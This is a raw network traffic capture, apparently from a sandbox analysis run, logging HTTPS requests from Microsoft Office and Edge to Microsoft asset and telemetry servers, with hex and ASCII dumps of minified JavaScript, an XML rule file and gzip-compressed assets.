{"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.8c04d217.1732326941.42b0fa6d Vary: Origin
2024-11-23 01:55:41 UTC	15144	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2024-11-23 01:55:41 UTC	9444	IN	Data Raw: 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 Data Ascii: tion(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice
2024-11-23 01:55:41 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return
2024-11-23 01:55:41 UTC	8204	IN	Data Raw: 65 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 Data Ascii: e=l[t.charAt(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p
2024-11-23 01:55:41 UTC	2479	IN	Data Raw: 30 30 30 30 30 39 41 33 0d 0a 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d Data Ascii: 000009A3rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]
2024-11-23 01:55:41 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 6e 28 37 31 31 35 35 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 2d 31 2c 6c 3d 69 2e 5a 2c 76 3d 21 30 2c 64 3d 74 2e 6c 65 6e 67 74 68 2c 70 3d 5b 5d 2c 68 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 70 3b 6e 26 26 28 65 3d 28 30 2c 75 2e 5a 29 28 65 2c 28 30 2c 63 2e 5a 29 28 6e 29 29 29 2c 73 3f 28 6c 3d 6f 2e 5a 2c 76 3d 21 31 29 3a 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 30 26 26 28 6c 3d 61 2e 5a 2c 76 3d 21 31 2c 65 3d 6e 65 77 20 72 2e 5a 28 65 29 29 3b 74 3a 66 6f 72 28 3b 2b 2b 66 3c 64 3b 29 7b 76 61 72 20 67 3d 74 5b 66 5d 2c 5a 3d 6e 75 6c 6c 3d 3d 6e 3f 67 3a 6e 28 67 29 3b 69 66 28 67 3d 73 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d Data Ascii: 00004000=n(71155);e.Z=function(t,e,n,s){var f=-1,l=i.Z,v=!0,d=t.length,p=[],h=e.length;if(!d)return p;n&&(e=(0,u.Z)(e,(0,c.Z)(n))),s?(l=o.Z,v=!1):e.length>=200&&(l=a.Z,v=!1,e=new r.Z(e));t:for(;++f<d;){var g=t[f],Z=null==n?g:n(g);if(g=s\|\|0!==g?g:0,v&&Z=
2024-11-23 01:55:41 UTC	12	IN	Data Raw: 6e 3a 64 65 6c 65 74 65 20 74 0d 0a Data Ascii: n:delete t
2024-11-23 01:55:41 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5b 63 5d 29 2c 69 7d 7d 2c 38 37 33 33 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 38 30 33 32 33 29 2c 69 3d 6e 28 33 36 31 32 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 63 3d 75 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 5b 5d 3a 28 74 3d 4f 62 6a 65 63 74 28 74 29 2c 28 30 2c 72 2e 5a 29 28 75 28 74 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 29 29 7d 3a 69 2e 5a 3b 65 2e 5a 3d Data Ascii: 00004000[c]),i}},87339:function(t,e,n){"use strict";var r=n(80323),i=n(3612),o=Object.prototype.propertyIsEnumerable,u=Object.getOwnPropertySymbols,c=u?function(t){return null==t?[]:(t=Object(t),(0,r.Z)(u(t),(function(e){return o.call(t,e)})))}:i.Z;e.Z=
2024-11-23 01:55:41 UTC	12	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 0d 0a Data Ascii: ==typeof t
2024-11-23 01:55:41 UTC	15599	IN	Data Raw: 30 30 30 30 33 43 45 33 0d 0a 7d 7d 2c 34 34 31 39 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 34 38 35 31 30 29 2c 69 3d 6e 28 31 32 35 34 35 29 2c 6f 3d 6e 28 32 35 31 39 37 29 2c 75 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 63 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 61 3d 75 2e 74 6f 53 74 72 69 6e 67 2c 73 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 66 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 28 30 2c 6f 2e 5a 29 28 74 29 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 28 30 2c 72 2e 5a 29 28 74 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 28 30 2c 69 Data Ascii: 00003CE3}},44199:function(t,e,n){"use strict";var r=n(48510),i=n(12545),o=n(25197),u=Function.prototype,c=Object.prototype,a=u.toString,s=c.hasOwnProperty,f=a.call(Object);e.Z=function(t){if(!(0,o.Z)(t)\|\|"[object Object]"!=(0,r.Z)(t))return!1;var e=(0,i

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:40 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015541Z-174c587ffdfb485jhC1TEBmc1s000000024g000000007bf1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49880	13.107.246.63	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:41 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:41 UTC	583	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:41 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: a26d36d7-101e-003c-443c-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015541Z-178bfbc474b9xljthC1NYCtw9400000003ng00000000k49k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:41 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-23 01:55:41 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-23 01:55:41 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-23 01:55:42 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-23 01:55:42 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49879	13.107.246.63	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:41 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:42 UTC	564	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:42 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 28b24790-f01e-0050-734a-3d770f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015541Z-174c587ffdf4zw2thC1TEBu34000000002dg000000003q9v Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 01:55:42 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-23 01:55:42 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
